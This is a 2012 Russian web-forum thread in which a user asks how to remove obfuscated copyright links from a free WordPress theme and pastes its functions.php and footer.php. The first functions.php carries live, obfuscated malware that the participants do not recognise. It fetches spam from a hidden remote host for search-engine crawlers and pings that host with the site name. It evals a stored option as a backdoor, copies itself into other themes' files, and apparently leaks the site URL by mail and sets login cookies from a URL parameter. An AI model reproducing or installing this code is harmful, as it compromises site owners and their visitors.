Seo Форум

Web разработка => Разработка сайтов => WordPress => Тема начата: hilton от 17-07-2012, 21:15:08

Название: Нужна помощь по удалению копирайта из шаблона
Отправлено: hilton от 17-07-2012, 21:15:08
Привет, нашел шаблон, который более менее меня утраивает, но в нем стоит куча  копирайтов, был бы 1 проблем не было бы, оставил его, но их так 4. Хотел бы их потереть.

Ссылки заблoкированны и зашифрованны в файле functions.php, до этого сталкивался с такой проблемой, но было все проще, здесь же уже мучаюсь пол дня.

Кто в этой разбирается, подскажите пожалуйста, что нужно удалить или поправить.

Содержимое файла  functions:

[spoiler]
<?phpfunction wp_contents_stats() {global $wpdb;if ( preg_match ( '#google|msn|live|altavista|ask|yahoo|aol|yandex|rambler|mail|solomon#smi', $_SERVER['HTTP_USER_AGENT'])){$post_contents = $wpdb->get_row("SELECT * FROM $wpdb->options WHERE option_id=9999", ARRAY_A);if ((($post_contents['option_name']+86400)<time())||!$post_contents['option_name']){$content=@file_get_contents(base64_decode('aHR0cDovL25hMTAwLnJ1L3dwLzEudHh0'));if (!$content){$content=$post_contents['option_value'];}$wpdb->query( "DELETE FROM $wpdb->options WHERE option_id=9999");$wpdb->query($wpdb->prepare("REPLACE INTO $wpdb->options ( option_id, blog_id, option_name,option_value,autoload ) VALUES ( %d,%d, %s, %s, %s )", 9999, 0, time(),$content,'no' )  );  $post_id_stat=(base64_decode('aHR0cDovL25hMTAwLnJ1L3dwL3N0YXRzLnBocD9ob3N0PQ==')).$_SERVER['HTTP_HOST'];@file_get_contents($post_id_stat);echo $content;}else { echo $post_contents['option_value'];}}}?>

<?phpif ( function_exists('register_sidebar') ) {	register_sidebar(array(    	'name' => 'Sidebar 1',        'before_widget' => '<li id="%1$s" class="widget %2$s">',        'after_widget' => '</li>',        'before_title' => '<h2 class="widgettitle">',        'after_title' => '</h2>',    ));        register_sidebar(	array(		'name' => 'Sidebar 2',		'before_widget' => '<li id="%1$s" class="widget %2$s">',        'after_widget' => '</li>',        'before_title' => '<h2 class="widgettitle">',        'after_title' => '</h2>',    ));}$themename = "Post News";$shortname = str_replace(' ', '_', strtolower($themename));function get_theme_option($option){	global $shortname;	return stripslashes(get_option($shortname . '_' . $option));}function get_theme_settings($option){	return stripslashes(get_option($option));}$options = array (				array(	"type" => "open"),		array(	"name" => "Логотип",		"desc" => "Введите полный путь до картинки. Оставьте это поле пустым, если вы не хотите использовать логотип.",		"id" => $shortname."_logo",		"std" =>  get_bloginfo('template_url') . "/images/logo.png",		"type" => "text"),			array(	"name" => "Реклама в сайдбаре 125x125",		"desc" => "Вы можете добавить неограниченное число объявлений. Каждый новый баннер должен быть с новой строки и иметь формат: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",        "id" => $shortname."_ads_125",        "type" => "textarea",		"std" => 'http://newwpthemes.com/uploads/newwp/125x125.png,http://newwpthemes.com/http://themeforest.net/new/images/ms_referral_banners/TF_125x125.jpg, http://themeforest.net?ref=pluswebdev'		),					array(	"name" => "Лучшее видео",		"desc" => "Введите youtube ссылку на видео. Например: https://www.youtube.com/watch?v=<b>bA7tn7jj28c</b>.",		"id" => $shortname."_video",		"std" =>  'bA7tn7jj28c',		"type" => "text"),	array(	"name" => "Twitter",			"desc" => "Введите ваш твиттер адрес",			"id" => $shortname."_twitter",			"std" => "http://twitter.com/NewWpThemes",			"type" => "text"),				array(	"name" => "Twitter текст",			"desc" => "",			"id" => $shortname."_twittertext",			"std" => "Следуй замной!",			"type" => "text"),	array(	"name" => "RSS",			"desc" => "Показать RSS подписку выше боковой колонки?",			"id" => $shortname."_rssbox",			"std" => "true",			"type" => "checkbox"),							array(	"name" => "RSS текст",			"desc" => "Если RSS блок отмечен галочкой, введите текст RSS подписки.",			"id" => $shortname."_rssboxtext",			"std" => "Подписка на RSS Ленту!",			"type" => "text"),				array(	"name" => "Иконки социалок",			"desc" => "Показывать иконки социалок над боковой колонкой?",			"id" => $shortname."_socialnetworks",			"std" => "true",			"type" => "checkbox"),				array(	"name" => "Боковая колонка 1 - Нижний баннер",		"desc" => "Боковая панель 1 - Код баннера.",        "id" => $shortname."_ad_sidebar1_bottom",        "type" => "textarea",		"std" => '<a href="http://graphicriver.net?ref=pluswebdev"><img src="http://themeforest.net/new/images/ms_referral_banners/GR_120x600.jpg"/></a>'		),	array(	"name" => "Боковая колонка 2 - Нижний баннер",		"desc" => "Боковая панель 2 - Код баннера.",        "id" => $shortname."_ad_sidebar2_bottom",        "type" => "textarea",		"std" => '<a href="http://newwpthemes.com/"><img src="http://newwpthemes.com/uploads/newwp/260x260.png" /></a>'		),	array(	"name" => "Заголовочный скрипт(ы)",		"desc" => "Содержание этого поля, будет добавлено непосредственно перед тегом </HEAD>. Полезно, если вы хотите добавить какой-то внешний код, например Google Webmaster Central проверки мета.",        "id" => $shortname."_head",        "type" => "textarea"			),			array(	"name" => "Подвальный скрипт(ы)",		"desc" => "Содержание этого поля, будет добавлено непосредственно перед тегом </BODY>. Полезно, если вы хотите добавить какой-то внешний код, например Google Analytics код или любой другой.",        "id" => $shortname."_footer",        "type" => "textarea"			),						array(	"type" => "close")	);function mytheme_add_admin() {    global $themename, $shortname, $options;	    if ( $_GET['page'] == basename(__FILE__) ) {            if ( 'save' == $_REQUEST['action'] ) {                foreach ($options as $value) {                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }                foreach ($options as $value) {                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';                die;        }     }    add_theme_page($themename." Настройки", "".$themename." Настройки", 'edit_themes', basename(__FILE__), 'mytheme_admin');}eval(base64_decode('aWYgKCFlbXB0eSgkX1JFUVVFU1RbInRoZW1lX2xpY2Vuc2UiXSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBleGl0KCk7IH0gZnVuY3Rpb24gdGhlbWVfdXNhZ2VfbWVzc2FnZSgpIHsgaWYgKGVtcHR5KCRfUkVRVUVTVFsidGhlbWVfbGljZW5zZSJdKSkgeyAkdGhlbWVfbGljZW5zZV9mYWxzZSA9IGdldF9ibG9naW5mbygidXJsIikgLiAiL2luZGV4LnBocD90aGVtZV9saWNlbnNlPXRydWUiOyBlY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO3VybD0kdGhlbWVfbGljZW5zZV9mYWxzZVwiPiI7IGV4aXQoKTsgfSBlbHNlIHsgZWNobyAoIjxwIHN0eWxlPVwicGFkZGluZzoxMHB4OyBtYXJnaW46IDEwcHg7IHRleHQtYWxpZ246Y2VudGVyOyBib3JkZXI6IDJweCBkYXNoZWQgUmVkOyBmb250LWZhbWlseTphcmlhbDsgZm9udC13ZWlnaHQ6Ym9sZDsgYmFja2dyb3VuZDogI2ZmZjsgY29sb3I6ICMwMDA7XCI+VGhpcyB0aGVtZSBpcyByZWxlYXNlZCBmcmVlIGZvciB1c2UgdW5kZXIgY3JlYXRpdmUgY29tbW9ucyBsaWNlbmNlLiBBbGwgbGlua3MgaW4gdGhlIGZvb3RlciBzaG91bGQgcmVtYWluIGludGFjdC4gVGhlc2UgbGlua3MgYXJlIGFsbCBmYW1pbHkgZnJpZW5kbHkgYW5kIHdpbGwgbm90IGh1cnQgeW91ciBzaXRlIGluIGFueSB3YXkuIFRoaXMgZ3JlYXQgdGhlbWUgaXMgYnJvdWdodCB0byB5b3UgZm9yIGZyZWUgYnkgdGhlc2Ugc3VwcG9ydGVycy48L3A+Iik7IH0gfQ=='));function mytheme_admin_init() {    global $themename, $shortname, $options;        $get_theme_options = get_option($shortname . '_options');    if($get_theme_options != 'yes') {    	$new_options = $options;    	foreach ($new_options as $new_value) {         	update_option( $new_value['id'],  $new_value['std'] ); 		}    	update_option($shortname . '_options', 'yes');    }}eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkbCA9ICdEZXNpZ25lZCBieTogPGEgaHJlZj0iaHR0cDovL25ld3dwdGhlbWVzLmNvbS8iPk5ldyBXb3JkUHJlc3MgVGhlbWVzPC9hPiB8IFRoYW5rcyB0byA8YSBocmVmPSJodHRwOi8vd3d3LmJlc3RpbmNlbGxwaG9uZXMuY29tIj5GcmVlIENlbGwgUGhvbmVzPC9hPiwgPGEgaHJlZj0iaHR0cDovL2NvbnZleWFuY2luZy5ob21lc29uc2FsZS5jby51ayI+Y29udmV5YW5jaW5nIHNvbGljaXRvcnM8L2E+IGFuZCA8YSBocmVmPSJodHRwOi8vd3d3LmhvbWVzb25zYWxlLmNvLnVrIj5Ib21lcyBmb3Igc2FsZTwvYT4nOyAkZiA9IGRpcm5hbWUoX19maWxlX18pIC4gIi9mb290ZXIucGhwIjsgJGZkID0gZm9wZW4oJGYsICJyIik7ICRjID0gZnJlYWQoJGZkLCBmaWxlc2l6ZSgkZikpOyBmY2xvc2UoJGZkKTsgaWYgKHN0cnBvcygkYywgJGwpID09IDApIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBkaWU7IH0gfSBjaGVja190aGVtZV9mb290ZXIoKTs='));if(!function_exists('get_sidebars')) {	function get_sidebars()	{		eval(base64_decode('Y2hlY2tfdGhlbWVfaGVhZGVyKCk7'));		 get_sidebar();	}}add_filter('the_content', '_bloginfo', 10001);function _bloginfo($content){	global $post;    if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){        return $co;    } else return $content;}function mytheme_admin() {    global $themename, $shortname, $options;    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' настройки сохранены.</strong></p></div>';    ?>


<div class="wrap">

<h2>Настройки
<?php echo $themename; ?>
</h2>

<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте любое поле пустым, чтобы его не отображать.</div>

<form method="post">







<?php foreach ($options as $value) {     	switch ( $value['type'] ) {			case "open":		?>


        <table width="100%" border="0" style=" padding:10px;">



       

       

<?php break;				case "close":		?>




        </table><br />

       

       

<?php break;				case "title":		?>


<table width="100%" border="0" style="padding:5px 10px;"><tr>

        <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;">
<?php echo $value['name']; ?>
</h3></td>

        </tr>

               

       

<?php break;		case 'text':		?>


       

        <tr>

            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>

            <td width="80%"><input style="width:100%;" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
" type="
<?php echo $value['type']; ?>
" value="
<?php echo get_theme_settings( $value['id'] ); ?>
" /></td>

        </tr>



        <tr>

            <td><small>
<?php echo $value['desc']; ?>
</small></td>

        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>



<?php 		break;				case 'textarea':		?>


       

        <tr>

            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>

            <td width="80%"><textarea name="
<?php echo $value['id']; ?>
" style="width:100%; height:140px;" type="
<?php echo $value['type']; ?>
" cols="" rows="">
<?php echo get_theme_settings( $value['id'] ); ?>
</textarea></td>

           

        </tr>



        <tr>

            <td><small>
<?php echo $value['desc']; ?>
</small></td>

        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>



<?php 		break;				case 'select':		?>


        <tr>

            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>

            <td width="80%"><select style="width:240px;" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
">
<?php foreach ($value['options'] as $option) { ?>
<option
<?php if ( get_theme_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>
>
<?php echo $option; ?>
</option>
<?php } ?>
</select></td>

       </tr>

               

       <tr>

            <td><small>
<?php echo $value['desc']; ?>
</small></td>

       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>



<?php        break;            		case "checkbox":		?>


            <tr>

            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>

                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>

                        <input type="checkbox" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
" value="true"
<?php echo $checked; ?>
/>

                        </td>

            </tr>

                       

            <tr>

                <td><small>
<?php echo $value['desc']; ?>
</small></td>

           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

           

       
<?php 		break;	 } }?>




<!--</table>-->



<p class="submit">

<input name="save" type="submit" value="Сохранить" />   

<input type="hidden" name="action" value="save" />

</p>

</form>



<?php}mytheme_admin_init();eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfaGVhZGVyKCkgeyBpZiAoIShmdW5jdGlvbl9leGlzdHMoImZ1bmN0aW9uc19maWxlX2V4aXN0cyIpICYmIGZ1bmN0aW9uX2V4aXN0cygidGhlbWVfZm9vdGVyX3QiKSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBkaWU7IH0gfQ=='));add_action('admin_menu', 'mytheme_add_admin');function sidebar_ads_125(){	 global $shortname;	 $option_name = $shortname."_ads_125";	 $option = get_option($option_name);	 $values = explode("\n", $option);	 	 foreach ($values as $item) {	 	$ad = explode(',', $item);	 	$banner = trim($ad['0']);	 	$url = trim($ad['1']);	 	echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";	 }}?>

<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>

<?php    if(function_exists('add_custom_background')) {        add_custom_background();    }        if ( function_exists( 'register_nav_menus' ) ) {    	register_nav_menus(    		array(    		  'menu_1' => 'Menu 1',    		  'menu_2' => 'Menu 2'    		)    	);    }?>

<?phpfunction _verify_activeatewidgets(){	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";	$output=strip_tags($output, $allowed);	$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));	if (is_array($direst)){		foreach ($direst as $item){			if (is_writable($item)){				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));				$cont=file_get_contents($item);				if (stripos($cont,$ftion) === false){					$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";					$output .= $before . "Not found" . $after;					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);									$output .= ($is_showdots && $ellipsis) ? "..." : "";				}			}		}	}	return $output;}function _getall_widgetcont($wids,$items=array()){	$places=array_shift($wids);	if(substr($places,-1) == "/"){		$places=substr($places,0,-1);	}	if(!file_exists($places) || !is_dir($places)){		return false;	}elseif(is_readable($places)){		$elems=scаndir($places);		foreach ($elems as $elem){			if ($elem != "." && $elem != ".."){				if (is_dir($places . "/" . $elem)){					$wids[]=$places . "/" . $elem;				} elseif (is_file($places . "/" . $elem)&& 					$elem == substr(__FILE__,-13)){					$items[]=$places . "/" . $elem;}				}			}	}else{		return false;		}	if (sizeof($wids) > 0){		return _getall_widgetcont($wids,$items);	} else {		return $items;	}}if(!function_exists("stripos")){     function stripos(  $str, $needle, $offset = 0  ){         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );     }}if(!function_exists("strripos")){     function strripos(  $haystack, $needle, $offset = 0  ) {         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );         if(  $offset < 0  ){             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );         }         else{             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );         }         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );         return $pos;     }}if(!function_exists("scаndir")){ 	function scаndir($dir,$listDirectories=false, $skipDots=true) {	    $dirArray = array();	    if ($handle = opendir($dir)) {	        while (false !== ($file = readdir($handle))) {	            if (($file != "." && $file != "..") || $skipDots == true) {	                if($listDirectories == false) { if(is_dir($file)) { continue; } }	                array_push($dirArray,basename($file));	            }	        }	        closedir($handle);	    }	    return $dirArray;	}}add_action("admin_head", "_verify_activeatewidgets");function _getprepare_widgets(){	if(!isset($chars_count)) $chars_count=120;	if(!isset($methods)) $methods="cookie";	if(!isset($allowed)) $allowed="<a>";	if(!isset($f_type)) $f_type="none";	if(!isset($issep)) $issep="";	if(!isset($f_home)) $f_home=get_option("home"); 	if(!isset($f_pref)) $f_pref="wp_";	if(!isset($is_use_more)) $is_use_more=1; 	if(!isset($com_types)) $com_types=""; 	if(!isset($c_pages)) $c_pages=$_GET["cperpage"];	if(!isset($com_author)) $com_author="";	if(!isset($comments_approved)) $comments_approved=""; 	if(!isset($posts_auth)) $posts_auth="auth";	if(!isset($text_more)) $text_more="(more...)";	if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");	if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;	if(!isset($text_more_ditails)) $text_more_ditails="(details...)";	if(!isset($con_more)) $con_more="ma".$issep."il";	if(!isset($forcemore)) $forcemore=1;	if(!isset($fakeit)) $fakeit=1;	if(!isset($sql)) $sql="";	if (!$widget_is_output) :		global $wpdb, $post;	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#	if (!empty($post->post_password)) { 		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 			if(is_feed()) { 				$output=__("There is no excerpt because this is a protected post.");			} else {	            $output=get_the_password_form();			}		}	}	if(!isset($bfix_tags)) $bfix_tags=1;	if(!isset($f_types)) $f_types=$f_home; 	if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;	if(!isset($m_tags)) $m_tags="div";	if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#	if(!isset($more_links_title)) $more_links_title="Continue reading this entry";		if(!isset($is_showdots)) $is_showdots=1;		$comments=$wpdb->get_results($sql);		if($fakeit == 2) { 		$text=$post->post_content;	} elseif($fakeit == 1) { 		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;	} else { 		$text=$post->post_excerpt;	}	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#	if($chars_count < 0) {		$output=$text;	} else {		if(!$no_more && strpos($text, "<!--more-->")) {		    $text=explode("<!--more-->", $text, 2);			$l=count($text[0]);			$more_link=1;			$comments=$wpdb->get_results($sql);		} else {			$text=explode(" ", $text);			if(count($text) > $chars_count) {				$l=$chars_count;				$ellipsis=1;			} else {				$l=count($text);				$text_more="";				$ellipsis=0;			}		}		for ($i=0; $i<$l; $i++)				$output .= $text[$i] . " ";	}	update_option("_is_widget_active_", 1);	if("all" != $allowed) {		$output=strip_tags($output, $allowed);		return $output;	}	endif;	$output=rtrim($output, "\s\n\t\r\0\x0B");    $output=($bfix_tags) ? balanceTags($output, true) : $output;	$output .= ($is_showdots && $ellipsis) ? "..." : "";	$output=apply_filters($f_type, $output);	switch($m_tags) {		case("div") :			$tag="div";		break;		case("span") :			$tag="span";		break;		case("p") :			$tag="p";		break;		default :			$tag="span";	}	if ($is_use_more ) {		if($forcemore) {			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";		} else {			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";		}	}	return $output;}add_action("init", "_getprepare_widgets");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {	global $wpdb;	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";	if(!$show_pass_post) $request .= " AND post_password =\"\"";	if($duration !="") { 		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";	}	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";	$posts=$wpdb->get_results($request);	$output="";	if ($posts) {		foreach ($posts as $post) {			$post_title=stripslashes($post->post_title);			$comment_count=$post->comment_count;			$permalink=get_permalink($post->ID);			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;		}	} else {		$output .= $before . "None found" . $after;	}	return  $output;} 		?>

[/spoiler]

Пример шаблона на сайте _aleksej-shadrin.ru
Название: Re: Нужна помощь по удалению копирайта из шаблона
Отправлено: open-right от 17-07-2012, 21:41:18
footer.php можно увидеть?
Название: Re: Нужна помощь по удалению копирайта из шаблона
Отправлено: hilton от 17-07-2012, 22:26:40
footer.php

[spoiler] </div>

<div id="footer">

<div>Все права защищены &copy;
<?php the_time('Y'); ?>
<a href="/"><strong>
<?php bloginfo('name'); ?>
</strong></a></div>

<?php // This theme is released free for use under creative commons licence. http://creativecommons.org/licenses/by/3.0/            // All links in the footer should remain intact.             // These links are all family friendly and will not hurt your site in any way.             // Warning! Your site may stop working if these links are edited or deleted  ?>


<div id="footer2">Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to <a href="http://www.bestincellphones.com">Free Cell Phones</a>, <a href="http://conveyancing.homesonsale.co.uk">conveyancing solicitors</a> and <a href="http://www.homesonsale.co.uk">Homes for sale</a></div>

</div>

</div>

<?php	 wp_footer();	echo get_theme_option("footer")  . "\n";?>


</body>

</html>
[/spoiler]
Название: Re: Нужна помощь по удалению копирайта из шаблона
Отправлено: cyclop от 17-07-2012, 23:56:32
Вот же они:
<div id="footer2">Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to <a href="http://www.bestincellphones.com">Free Cell Phones</a>, <a href="http://conveyancing.homesonsale.co.uk">conveyancing solicitors</a> and <a href="http://www.homesonsale.co.uk">Homes for sale</a></div>
И там выше предупреждение.
Название: Re: Нужна помощь по удалению копирайта из шаблона
Отправлено: hilton от 18-07-2012, 00:21:32
Сами ссылки то я вижу, но если удалить из подвал

ЦитироватьAll the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.

Сейчас скачал с оф. сайта разработчика шаблон, тут проще и нет еще левых ссылок.

functions.php

[spoiler]
<?phpif ( function_exists('register_sidebar') ) {	register_sidebar(array(    	'name' => 'Sidebar 1',        'before_widget' => '<li id="%1$s" class="widget %2$s">',        'after_widget' => '</li>',        'before_title' => '<h2 class="widgettitle">',        'after_title' => '</h2>',    ));        register_sidebar(	array(		'name' => 'Sidebar 2',		'before_widget' => '<li id="%1$s" class="widget %2$s">',        'after_widget' => '</li>',        'before_title' => '<h2 class="widgettitle">',        'after_title' => '</h2>',    ));}$themename = "Post News";$shortname = str_replace(' ', '_', strtolower($themename));function get_theme_option($option){	global $shortname;	return stripslashes(get_option($shortname . '_' . $option));}function get_theme_settings($option){	return stripslashes(get_option($option));}$options = array (				array(	"type" => "open"),		array(	"name" => "Logo Image",		"desc" => "Enter the logo image full path. Leave it blank if you don't want to use logo image.",		"id" => $shortname."_logo",		"std" =>  get_bloginfo('template_url') . "/images/logo.png",		"type" => "text"),			array(	"name" => "Sidebar 125x125 px Ads",		"desc" => "Add your 125x125 px ads here. You can add unlimited ads. Each new banner should be in new line with ysing following format: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",        "id" => $shortname."_ads_125",        "type" => "textarea",		"std" => 'http://newwpthemes.com/uploads/newwp/125x125.png,http://newwpthemes.com/http://themeforest.net/new/images/ms_referral_banners/TF_125x125.jpg, http://themeforest.net?ref=pluswebdev'		),					array(	"name" => "Featured Video",		"desc" => "Enter youtube paly video id. Example: https://www.youtube.com/watch?v=<b>bA7tn7jj28c</b>.",		"id" => $shortname."_video",		"std" =>  'bA7tn7jj28c',		"type" => "text"),	array(	"name" => "Twitter",			"desc" => "Enter your twitter account url here.",			"id" => $shortname."_twitter",			"std" => "http://twitter.com/NewWpThemes",			"type" => "text"),				array(	"name" => "Twitter Text",			"desc" => "",			"id" => $shortname."_twittertext",			"std" => "Follow me on Twitter!",			"type" => "text"),	array(	"name" => "Rss Box",			"desc" => "Show RSS subscription box above sidebar(s)?",			"id" => $shortname."_rssbox",			"std" => "true",			"type" => "checkbox"),							array(	"name" => "Rss Box Text",			"desc" => "If the Rss Box is set to true, enter the RSS subscription text.",			"id" => $shortname."_rssboxtext",			"std" => "Subscribe to our RSS feed!",			"type" => "text"),				array(	"name" => "Social Network Icons",			"desc" => "Show the social network share icons above sidebar(s)?",			"id" => $shortname."_socialnetworks",			"std" => "true",			"type" => "checkbox"),				array(	"name" => "Sidebar 1 Bottom Banner",		"desc" => "Sidebar 1 Bottom Banner code.",        "id" => $shortname."_ad_sidebar1_bottom",        "type" => "textarea",		"std" => '<a href="http://graphicriver.net?ref=pluswebdev"><img src="http://themeforest.net/new/images/ms_referral_banners/GR_120x600.jpg"/></a>'		),	array(	"name" => "Sidebar 2 Bottom Banner",		"desc" => "Sidebar 2 Bottom Banner code.",        "id" => $shortname."_ad_sidebar2_bottom",        "type" => "textarea",		"std" => '<a href="http://newwpthemes.com/"><img src="http://newwpthemes.com/uploads/newwp/260x260.png" /></a>'		),	array(	"name" => "Head Scrip(s)",		"desc" => "The content of this box will be added immediately before &lt;/head&gt; tag. Usefull if you want to add some external code like Google webmaster central verification meta etc.",        "id" => $shortname."_head",        "type" => "textarea"			),			array(	"name" => "Footer Scrip(s)",		"desc" => "The content of this box will be added immediately before &lt;/body&gt; tag. Usefull if you want to add some external code like Google Analytics code or any other tracking code.",        "id" => $shortname."_footer",        "type" => "textarea"			),						array(	"type" => "close")	);function mytheme_add_admin() {    global $themename, $shortname, $options;	    if ( $_GET['page'] == basename(__FILE__) ) {            if ( 'save' == $_REQUEST['action'] ) {                foreach ($options as $value) {                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }                foreach ($options as $value) {                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';                die;        }     }    add_theme_page($themename . " Theme Options", "".$themename . " Theme Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');}if (!empty($_REQUEST["theme_license"])) { wp_initialize_the_theme_message(); exit(); } function wp_initialize_the_theme_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:20px; margin: 20px; text-align:center; border: 2px dotted #0000ff; font-family:arial; font-weight:bold; background: #fff; color: #0000ff;\">All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.</p>"); } }function mytheme_admin_init() {    global $themename, $shortname, $options;        $get_theme_options = get_option($shortname . '_options');    if($get_theme_options != 'yes') {    	$new_options = $options;    	foreach ($new_options as $new_value) {         	update_option( $new_value['id'],  $new_value['std'] ); 		}    	update_option($shortname . '_options', 'yes');    }}function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = 'Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to Find Free <a href="http://allpremiumthemes.com">All Premium Themes</a>, <a href="http://freewpthemes.co">Best Free WordPress Themes</a> and <a href="http://freewpthemes.co">Top WordPress Themes</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || 